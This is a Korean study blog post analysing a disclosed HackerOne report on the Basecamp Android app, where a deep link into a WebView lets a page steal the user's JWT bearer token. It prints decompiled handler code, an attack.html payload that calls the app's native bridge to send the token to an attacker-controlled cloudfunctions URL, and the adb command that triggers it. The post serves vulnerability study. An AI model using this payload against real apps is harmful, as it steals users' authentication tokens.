EYEN
안드로이드 CVE 스터디- improper Authentication 본문
#1 대상 CVE
Basecamp | Report #1372667 - Able to steal bearer token from deep link | HackerOne
Basecamp disclosed on HackerOne: Able to steal bearer token from...
hackerone.com
#2 CVE 개요
1. 발생 환경
app: Basecamp
version: 보고서에서 찾을 수 없음.
2. 취약점 개념 설명
외부에서 실행 가능한 액티비티+ 외부 링크로 접속하는 코드
#3 POC 설명
1. 외부링크로 접속하는 코드를 찾는다
현재는 과거 익스플로잇에 이용된 액티비티( com.basecamp.bc3.activities.BasecampUrlFilterActivity )가 없는 상태,
비슷해보이는 걸 가져왔습니다.
2. 외부링크로 접속하는 코드
com.basecamp.bc3.activities.BasecampUrlFilterActivity
if (TurbolinksUrlHandler.contains(url, "/verify?", true)) {
C3982h.nullCheck(url, "$this$proceedToParam");
C3982h.nullCheck(url, "$this$extractQueryParam");
C3982h.nullCheck("proceed_to", "queryKey");
String queryParameter = url.toUri().getQueryParameter("proceed_to");
url = queryParameter != null ? UrlKt.parseUrl(queryParameter) : null;
C3982h.nullCheck(url);
}
Intent intent10 = new Intent(context, WebViewActivity.class);
C1071a.addUrlsToIntent(url, intent10, "intentUrl", "intentApiUrl", null);
return intent10;
url핸들러가 /verify?proceed_to=query 이런 형태인지 확인하는 부분
new Intent(context, WebViewActivity.class); : intent 객체를 선언할 때 현재 액티비티와 전환할 액티비티를 적어야한다.
C1071a.addUrlsToIntent(url, intent10, "intentUrl", "intentApiUrl",null); : 인텐트에 Url 추가, 공격자가 Url을 인자로 해당 액티비티를 실행했을 때 Url이 실행되게 하는 부분.
<현재>
3. attack.html 구성
자바 스크립트 네이티브 브리지를 통해 노출되는 터보 링크 API를 사용해 누군가를 리디렉션하는 것
<script>NativeApp.openNativeImageViewer("[{'download_url': 'https://us-central1-andro-3982e.cloudfunctions.net/home/5218370/image.jpg', 'preview_url': 'https://us-central1-andro-3982e.cloudfunctions.net/home/5218370/image.jpg', 'caption':'ViewImage'}]", 0)</script>
download: https://us-central1-andro-3982e.cloudfunctions.net/home/5218370/image.jpg
preview: https://us-central1-andro-3982e.cloudfunctions.net/home/5218370/image.jpg
openNatvieImageViewer를 실행하고 download_url과 preview_url을 전달 preview_url은 사용자 상호작용이 필요하지 않음을 이용한다.
어플이 프리뷰(미리보기) 이미지를 보여주려고 JWT 헤더를 저 cloudfunctions 사이트로 전송하는 과정을 거치므로 preview_url이 헤더를 받게 됩니다.(당연)
4. attack.html의 경로를 보낸다.
adb shell am start -n com.basecamp.bc3/com.basecamp.bc3.activities.BasecampUrlFilterActivity https://3.basecamp.com/5218370/verify?proceed_to=https://haystack-production-storage.s3.eu-west-2.amazonaws.com/attack.html
#4 취약점 파급력
attack.html은 공격자의 서버와 연결된 openNativeImageViewer라는 메서드를 포함한다. openNativeImageViewer는 사용자의 jwt를 받아 실행한다. 만약 attack.html을 사용자가 무심코 누른다면 jwt(그 안에 포함된 사용자 인증 정보)가 공격자에게 전송된다.
'자기주도학습 > CVE 공부' 카테고리의 다른 글
윈도우 기본 프로그램 케이스 스터디 (0) | 2024.10.04 |
---|---|
안드로이드 CVE 스터디-information Disclosure (0) | 2024.05.15 |
안드로이드 CVE 스터디-XSS in Webview (0) | 2024.05.14 |
안드로이드 CVE 스터디-Insecure storage of information (0) | 2024.05.13 |
cve 체험 따라하기 2 (0) | 2023.02.23 |